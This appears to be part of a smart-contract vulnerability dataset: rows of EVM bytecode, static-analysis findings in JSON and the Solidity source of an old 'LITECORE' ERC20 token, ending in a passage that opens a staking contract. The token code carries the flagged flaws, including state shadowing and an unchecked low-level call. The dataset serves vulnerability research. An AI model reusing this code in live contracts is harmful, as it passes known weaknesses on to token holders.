20a039091169063358cfa2590612af4908590614185565b60018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b1515612b3e57600080fd5b5af11515612b4b57600080fd5b5050600454600054600160a060020a039182169250635460554991168360018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515612bc057600080fd5b5af11515612bcd57600080fd5b5050506000841115612d8d57600454600160a060020a03166379c310a68b82632d171243828d8d60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515612c3f57600080fd5b5af11515612c4c57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515612c9957600080fd5b5af11515612ca657600080fd5b5050600454600160a060020a0316905063ce29555f8b8a83632d17124383838e60405160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091526044820152606401602060405180830381600087803b1515612d1157600080fd5b5af11515612d1e57600080fd5b50505060405180519050600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515612d7c57600080fd5b5af11515612d8957600080fd5b5050505b600454600090600160a060020a031663a436e33b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515612de057600080fd5b5af11515612ded57600080fd5b50505060405180519050111515612e5f57600454600160a060020a031663f7fb0a4b8b60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515612e4e57600080fd5b5af11515612e5b57600080fd5b5050505b600454600160a060020a031663fc4756df8b89600160405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b1515612ec157600080fd5b5af11515612ece57600080fd5b5050600454600160a060020a0316905063e7001b848b8a8a600160405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401600060405180830381600087803b1515612f3a57600080fd5b5af11515612f4757600080fd5b505050600160a060020a038a1660009081526007602090815260408083208b8452909152902054612f789088612390565b600160a060020a038b1660009081526007602090815260408083208c845290915290819020919091557fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b908b908a908a90518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a150505050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561305857600080fd5b5af1151561306557600080fd5b50505060405180519050151561307a57600080fd5b600189101561308857600080fd5b600454600160a060020a031663e946ad4a8c8b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156130de57600080fd5b5af115156130eb57600080fd5b5050506040518051985050600588111561310457600080fd5b600554600160a060020a03166373f9421d8a8a60405160e060020a63ffffffff85160281526004810192909252602482015260440160c060405180830381600087803b151561315257600080fd5b5af1151561315f57600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051959c50939a509198509650945090925050600082116131a357600080fd5b600082111561345957600454829061322990600160a060020a031663e8d320e68e600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b151561320c57600080fd5b5af1151561321957600080fd5b505050604051805190508c612390565b101561323457600080fd5b898211156132c657600454600160a060020a031663546055498c613258858e614148565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b15156132b157600080fd5b5af115156132be57600080fd5b505050613353565b8982101561335357600454600160a060020a031663546055498c6132ea8d86614148565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b151561334257600080fd5b5af1151561334f57600080fd5b5050505b61335e826014614185565b600454909150600160a060020a031663358cfa2561337c8484614148565b60018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b15156133c657600080fd5b5af115156133d357600080fd5b5050600454600054600160a060020a039182169250635460554991168360018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b151561344857600080fd5b5af1151561345557600080fd5b5050505b6004548790600160a060020a03166370a082318d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156134ab57600080fd5b5af115156134b857600080fd5b50505060405180519050101515156134cf57600080fd5b600454600160a060020a031663a1c90a118c8960405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561352557600080fd5b5af1151561353257600080fd5b5050600454600160a060020a03169050635edc9bff8c87878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561359b57600080fd5b5af115156135a857600080fd5b5050600454600160a060020a03169050632a2882728c8b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561360257600080fd5b5af1151561360f57600080fd5b505060045460009150600160a060020a031663a436e33b8d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561366557600080fd5b5af1151561367257600080fd5b505050604051805190501115156136e457600454600160a060020a031663f7fb0a4b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156136d357600080fd5b5af115156136e057600080fd5b5050505b7f5923958ad0a0f9e2754b81ea1c7483dcdd7481e51b34ee4846bdaa6d5403c3458b8a604051600160a060020a03909216825260208201526040908101905180910390a15050505050505050505050565b6004546000908190819081908190819081908190600160a060020a0316639267b2916040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561378557600080fd5b5af1151561379257600080fd5b5050506040518051905015156137a757600080fd5b600654600160a060020a03166372eefb8a8a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156137ef57600080fd5b5af115156137fc57600080fd5b5050506040518051985050600160a060020a038816151561381c57600080fd5b600160a060020a038b8116908916141561383557600080fd5b600654600160a060020a031663104a5e758a60405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561387d57600080fd5b5af1151561388a57600080fd5b50505060405180516004549098506138f49150600160a060020a031663e8d320e68d600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015260ff166024820152604401602060405180830381600087803b15156128a257600080fd5b95508686101561390357600080fd5b600454600160a060020a031663e3cbe7448c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561395357600080fd5b5af1151561396057600080fd5b5050600454600160a060020a0316905063e3cbe7448960405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156139b457600080fd5b5af115156139c157600080fd5b5050600654600160a060020a031690506382a86cda8a60405160e060020a63ffffffff8416028152600481019190915260240160c060405180830381600087803b1515613a0d57600080fd5b5af11515613a1a57600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051600454939b5091995090975050600160a060020a03169250635edc9bff91508d905087878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b1515613ab557600080fd5b5af11515613ac257600080fd5b5050600454600160a060020a031690506352d214a78987878760405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b1515613b2b57600080fd5b5af11515613b3857600080fd5b50505089871115613bcd57600454600160a060020a031663546055498c613b5f8a8e614148565b6001600060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613bb857600080fd5b5af11515613bc557600080fd5b505050613c5a565b868a1115613c5a57600454600160a060020a031663546055498c613bf18d8b614148565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613c4957600080fd5b5af11515613c5657600080fd5b5050505b613c65876014614185565b9150613c72876014614185565b600454909150600160a060020a031663358cfa258260018060405160e060020a63ffffffff8616028152600481019390935260ff909116602483015215156044820152606401600060405180830381600087803b1515613cd157600080fd5b5af11515613cde57600080fd5b5050600454600054600160a060020a039182169250635460554991168460018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613d5357600080fd5b5af11515613d6057600080fd5b5050600654600160a060020a0316905063f5537ede898d8c60405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b1515613dc757600080fd5b5af11515613dd457600080fd5b5050600654600160a060020a031690506373a553898a613e52613e4b8463103d26ac8460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515613e2d57600080fd5b5af11515613e3a57600080fd5b50505060405180519050600561415a565b6004614185565b60405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515613e8d57600080fd5b5af11515613e9a57600080fd5b5050600454600160a060020a03169050635460554989613ec38a613ebe8688612390565b614148565b60018060405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260ff16604483015215156064820152608401600060405180830381600087803b1515613f1b57600080fd5b5af11515613f2857600080fd5b505060045460009150600160a060020a031663a436e33b8d60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515613f7e57600080fd5b5af11515613f8b57600080fd5b50505060405180519050111515613ffd57600454600160a060020a031663f7fb0a4b8c60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515613fec57600080fd5b5af11515613ff957600080fd5b5050505b600454600160a060020a031663fc4756df8c60018060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b151561405f57600080fd5b5af1151561406c57600080fd5b5050600454600160a060020a0316905063fc4756df8960018060405160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915215156044820152606401600060405180830381600087803b15156140d257600080fd5b5af115156140df57600080fd5b5050507f384a5203a72a9d3dc8f2dd0c78e393c368a78a6dfda91fc33f89bb8609a918d38b898b8a604051600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050505050505050505050565b60008282111561415457fe5b50900390565b60008083151561416d57600091506123a3565b5082820282848281151561417d57fe5b041461239f57fe5b600080828481151561419357fe5b049493505050505600a165627a7a723058200cb5637a40a7811579cd1530426277be1c5d248f8ae95bd7a69fccdd212b15f20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,565 |
0xfac69c6c58276ee31d19061afc361bb3b774440f
|
pragma solidity ^0.4.16;
// Litecore contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// LITECORE Symbol: LTX
contract LITECOREToken {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* LITECORE Token Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract LTXStandardToken is LITECOREToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LITECORE is LTXStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 3000000000000000 ; // 30 million tokens, 8 decimal places
string constant public name = "LITECORE";
string constant public symbol = "LTX";
function LITECORE(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e611502565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611528565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115af565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d5565b005b6040805190810160405280600881526020017f4c495445434f524500000000000000000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c5458000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ac90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156114f757600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160b57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a95780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c45750828110155b15156117cc57fe5b8091505092915050565b60008282111515156117e457fe5b8183039050929150505600a165627a7a72305820cb908b1f5fa22f0d57961e0d72a555ca4e5e4c10c99dc2c59c08c52ea5b74cdd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 6,566 |
0xcc0afb5735f7e45bf4d9bdaa4f6676a5a8217dda
|
// SPDX-License-Identifier: NOTEStaking
pragma solidity ^0.6.12;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract NOTE_Staking is Owned{
using SafeMath for uint256;
uint256 public penaltyFee = 5; //5% penlaty fee applicable before lock up time
uint256 public totalRewards;
uint256 public totalStakes;
uint256 public firstYearRate = 30;
uint256 public secondYearRate = 20;
